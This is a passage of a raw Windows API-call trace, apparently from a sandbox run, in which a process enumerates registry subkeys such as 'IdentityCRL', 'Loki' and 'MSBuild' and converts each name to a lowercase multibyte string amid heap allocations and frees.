RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.804] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.804] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0xddb930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0023.804] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.804] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0023.804] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.805] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.805] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.805] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.805] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0xddb930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0023.805] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.805] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0xddc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0023.805] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.805] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.805] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.805] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.805] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0xddb930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0023.805] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.805] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0023.805] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.805] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.805] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.805] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.805] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0xddb930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0023.805] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0023.805] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0xddc0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0023.805] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.805] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.805] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.805] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.805] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0xddb930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0023.805] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.806] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0xddc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0023.806] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.806] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.806] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.806] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.806] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0xddb930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0023.806] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.806] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0xddc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0023.806] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.806] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.806] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.806] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.806] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0xddb930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0023.806] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.806] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0xddc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0023.806] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.806] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.806] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.806] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.806] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0xddb930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0023.806] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.806] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0xddc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0023.806] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.806] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.806] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.806] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.806] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0xddb930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0023.807] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0023.807] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0xddc120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0023.807] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.807] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.807] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.807] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.807] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0xddb930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0023.807] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0023.807] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0xddc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0023.807] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.807] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.807] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.807] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.807] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0xddb930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0023.807] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0023.807] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0xddc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0023.807] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.807] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.807] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.807] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.807] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0xddb930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0023.807] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.807] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0xddc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0023.807] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.807] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.808] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.808] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.808] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0xddb930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0023.808] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0023.808] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0xddc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0023.808] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0xddb930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0023.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0023.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0xddc0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0023.808] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0xddb930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0023.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0023.808] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0xddb930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0023.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0023.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0xddc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0023.808] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0xddb930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0023.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0023.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0xddc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0023.808] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0xddb930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0023.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0023.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0xddc0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0023.809] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0xddb930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0xddc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0023.809] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0xddb930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0xddc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0023.809] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0xddb930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0xddc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0023.809] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0xddb930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0xddc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0023.809] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0xddb930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0xddc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0023.809] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0xddb930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0xddc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0023.809] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0xddb930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0023.810] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0xddb930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0xddc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0023.810] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0xddb930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0xddc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0023.810] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0xddb930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, 